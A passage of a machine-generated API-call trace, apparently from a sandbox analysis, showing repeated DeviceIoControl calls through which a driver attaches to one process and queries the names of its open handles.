lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0104.328] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.328] PsAcquireProcessExitSynchronization () returned 0x0 [0104.328] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.328] ObReferenceObjectByHandle (in: Handle=0x50c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001040620, HandleInformation=0x0) returned 0x0 [0104.328] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.328] PsReleaseProcessExitSynchronization () returned 0x2 [0104.328] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.328] ObQueryNameString (in: Object=0xfffff8a001040620, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.329] ObfDereferenceObject (Object=0xfffff8a001040620) returned 0x3 [0104.329] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.329] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.329] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.329] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0104.329] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.329] PsAcquireProcessExitSynchronization () returned 0x0 [0104.329] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.329] ObReferenceObjectByHandle (in: Handle=0x510, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001040620, HandleInformation=0x0) returned 0x0 [0104.329] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.329] PsReleaseProcessExitSynchronization () returned 0x2 [0104.329] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.329] ObQueryNameString (in: Object=0xfffff8a001040620, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.329] ObfDereferenceObject (Object=0xfffff8a001040620) returned 0x3 [0104.329] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.329] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.329] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.329] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x100, lpOverlapped=0x0) returned 1 [0104.329] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.329] PsAcquireProcessExitSynchronization () returned 0x0 [0104.329] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.329] ObReferenceObjectByHandle (in: Handle=0x518, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089ce580, HandleInformation=0x0) returned 0x0 [0104.329] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.329] PsReleaseProcessExitSynchronization () returned 0x2 [0104.329] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.329] ObQueryNameString (in: Object=0xfffff8a0089ce580, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.329] ObfDereferenceObject (Object=0xfffff8a0089ce580) returned 0x2 [0104.329] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.329] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.329] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.329] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0104.330] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.330] PsAcquireProcessExitSynchronization () returned 0x0 [0104.330] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.330] ObReferenceObjectByHandle (in: Handle=0x560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003414070, HandleInformation=0x0) returned 0x0 [0104.330] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.330] PsReleaseProcessExitSynchronization () returned 0x2 [0104.330] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.330] ObQueryNameString (in: Object=0xfffffa8003414070, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.330] ObfDereferenceObject (Object=0xfffffa8003414070) returned 0x3 [0104.330] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.330] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.330] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.330] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0104.330] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.330] PsAcquireProcessExitSynchronization () returned 0x0 [0104.330] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.330] ObReferenceObjectByHandle (in: Handle=0x698, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003437350, HandleInformation=0x0) returned 0x0 [0104.330] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.330] PsReleaseProcessExitSynchronization () returned 0x2 [0104.330] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.330] ObQueryNameString (in: Object=0xfffffa8003437350, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.330] ObfDereferenceObject (Object=0xfffffa8003437350) returned 0x1 [0104.330] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.330] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.330] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.331] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0104.331] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.331] PsAcquireProcessExitSynchronization () returned 0x0 [0104.331] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.331] ObReferenceObjectByHandle (in: Handle=0x6a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f7dad0, HandleInformation=0x0) returned 0x0 [0104.331] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.331] PsReleaseProcessExitSynchronization () returned 0x2 [0104.331] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.331] ObQueryNameString (in: Object=0xfffffa8002f7dad0, ObjectNameInfo=0xfffffa80024f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.331] ObfDereferenceObject (Object=0xfffffa8002f7dad0) returned 0x2 [0104.331] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.331] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.331] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.331] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0104.331] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.331] PsAcquireProcessExitSynchronization () returned 0x0 [0104.331] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.331] ObReferenceObjectByHandle (in: Handle=0x710, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003436c70, HandleInformation=0x0) returned 0x0 [0104.331] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.331] PsReleaseProcessExitSynchronization () returned 0x2 [0104.331] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.331] ObQueryNameString (in: Object=0xfffffa8003436c70, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.331] ObfDereferenceObject (Object=0xfffffa8003436c70) returned 0x1 [0104.331] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.331] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.331] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.331] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0104.331] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.331] PsAcquireProcessExitSynchronization () returned 0x0 [0104.331] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.331] ObReferenceObjectByHandle (in: Handle=0x718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003436f20, HandleInformation=0x0) returned 0x0 [0104.331] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.331] PsReleaseProcessExitSynchronization () returned 0x2 [0104.331] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.331] ObQueryNameString (in: Object=0xfffffa8003436f20, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.332] ObfDereferenceObject (Object=0xfffffa8003436f20) returned 0x1 [0104.332] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.332] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.332] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.332] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0104.332] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.332] PsAcquireProcessExitSynchronization () returned 0x0 [0104.332] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.332] ObReferenceObjectByHandle (in: Handle=0x71c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003437510, HandleInformation=0x0) returned 0x0 [0104.332] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.332] PsReleaseProcessExitSynchronization () returned 0x2 [0104.332] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.332] ObQueryNameString (in: Object=0xfffffa8003437510, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.332] ObfDereferenceObject (Object=0xfffffa8003437510) returned 0x1 [0104.332] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.332] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.332] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.332] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0104.332] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.332] PsAcquireProcessExitSynchronization () returned 0x0 [0104.332] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.332] ObReferenceObjectByHandle (in: Handle=0x798, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80037852a0, HandleInformation=0x0) returned 0x0 [0104.332] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.332] PsReleaseProcessExitSynchronization () returned 0x2 [0104.332] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.332] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.332] ObfDereferenceObject (Object=0xfffffa80037852a0) returned 0x1 [0104.332] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.333] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.333] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.333] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.333] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.333] PsAcquireProcessExitSynchronization () returned 0x0 [0104.333] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.333] ObReferenceObjectByHandle (in: Handle=0x7a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800343b9c0, HandleInformation=0x0) returned 0x0 [0104.333] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.333] PsReleaseProcessExitSynchronization () returned 0x2 [0104.333] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.333] ObQueryNameString (in: Object=0xfffffa800343b9c0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.333] ObfDereferenceObject (Object=0xfffffa800343b9c0) returned 0x1 [0104.333] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.333] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.333] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.334] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0104.334] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.334] PsAcquireProcessExitSynchronization () returned 0x0 [0104.334] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.334] ObReferenceObjectByHandle (in: Handle=0x904, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003447950, HandleInformation=0x0) returned 0x0 [0104.334] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.334] PsReleaseProcessExitSynchronization () returned 0x2 [0104.334] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.334] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.334] ObfDereferenceObject (Object=0xfffffa8003447950) returned 0x12 [0104.334] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.334] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.334] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.334] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0104.334] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.334] PsAcquireProcessExitSynchronization () returned 0x0 [0104.334] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.334] ObReferenceObjectByHandle (in: Handle=0x908, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800344bbc0, HandleInformation=0x0) returned 0x0 [0104.334] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.334] PsReleaseProcessExitSynchronization () returned 0x2 [0104.334] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.334] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.334] ObfDereferenceObject (Object=0xfffffa800344bbc0) returned 0x12 [0104.334] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.334] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.334] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.334] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0104.334] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.334] PsAcquireProcessExitSynchronization () returned 0x0 [0104.334] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.334] ObReferenceObjectByHandle (in: Handle=0x90c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800344b740, HandleInformation=0x0) returned 0x0 [0104.335] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.335] PsReleaseProcessExitSynchronization () returned 0x2 [0104.335] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.335] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.335] ObfDereferenceObject (Object=0xfffffa800344b740) returned 0x12 [0104.335] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.335] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.335] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.335] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0104.335] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.335] PsAcquireProcessExitSynchronization () returned 0x0 [0104.335] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.335] ObReferenceObjectByHandle (in: Handle=0x910, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f80070, HandleInformation=0x0) returned 0x0 [0104.335] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.335] PsReleaseProcessExitSynchronization () returned 0x2 [0104.335] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.335] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.335] ObfDereferenceObject (Object=0xfffffa8002f80070) returned 0xa [0104.335] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.335] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.335] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.335] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0104.335] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.335] PsAcquireProcessExitSynchronization () returned 0x0 [0104.335] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.335] ObReferenceObjectByHandle (in: Handle=0x914, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f80c00, 